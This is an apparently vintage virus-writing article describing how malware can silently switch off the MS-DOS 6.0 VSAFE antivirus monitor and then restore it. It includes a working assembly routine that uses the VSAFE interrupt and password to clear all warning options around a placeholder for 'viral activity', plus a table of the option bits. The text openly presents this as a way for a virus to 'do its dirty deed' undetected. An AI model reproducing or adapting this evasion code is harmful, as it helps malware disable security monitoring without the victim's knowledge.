A new, completely transparent method
of deactivating/reactivating VSAFE

    After just a few minutes of analysis several months ago, I discovered a
    way to bypass VSAFE which is far less detectable than the usual de-
    installation. The total removal of VSAFE by a virus would arouse suspicion
    and would be incredibly obvious if some other TSR had been installed after
    VSAFE, since VSAFE displays an alert box in such a case warning that VSAFE
    cannot be removed.

    The new method involves changing, temporarily, the control byte used by
    VSAFE to determine the warning options selected by the user.  Not only is
    this warning option control byte trivial to reset, but VSAFE actually
    RETURNS THE PREVIOUS WARNING OPTION BYTE to the calling routine, allowing
    the warning options to be reset to their original values after a virus has
    done its dirty deed!  This temporary deactivation of VSAFE would be
    totally undetectable by the computer user.  A virus could simply deactivate
    all or a selected number of VSAFE's warning options, do anything that it
    wants, then restore VSAFE to its original state.

    The simple routine listed below has been tested on the MS-DOS 6.0 version
    of VSAFE only.  However, it is likely that it will work on all other
    versions of VSAFE, also.

    Here's the code:

    mov     ax,0fa02                ;reset VSAFE (fa) warning options (02)
    push    ax                      ;store value for future use
    mov     bl,0                    ;warning options = none (see below)
    mov     dx,05945                ;password
    push    dx                      ;store value for future use
    int     016                     ;do it
    push    cx                      ;store previous settings returned by VSAFE
    ;--------------
    ;viral activity
    ;--------------
    pop     cx
    pop     dx
    pop     ax
    mov     bl,cl                   ;move previous warning option settings back
    int     016                     ;restore previous warning settings

    The warning control byte (sent in bl, returned in cl) is set up as follows:

    Bit                                  Value
    ---                                  -----
     0  -  HD low level format             1  =  select option
     1  -  Residence attempt               0  =  deselect option
     2  -  General write protect
     3  -  Check executable files
     4  -  Boot sector virus
     5  -  Protect HD boot sector
     6  -  Protect FD boot sector
     7  -  Protect executable files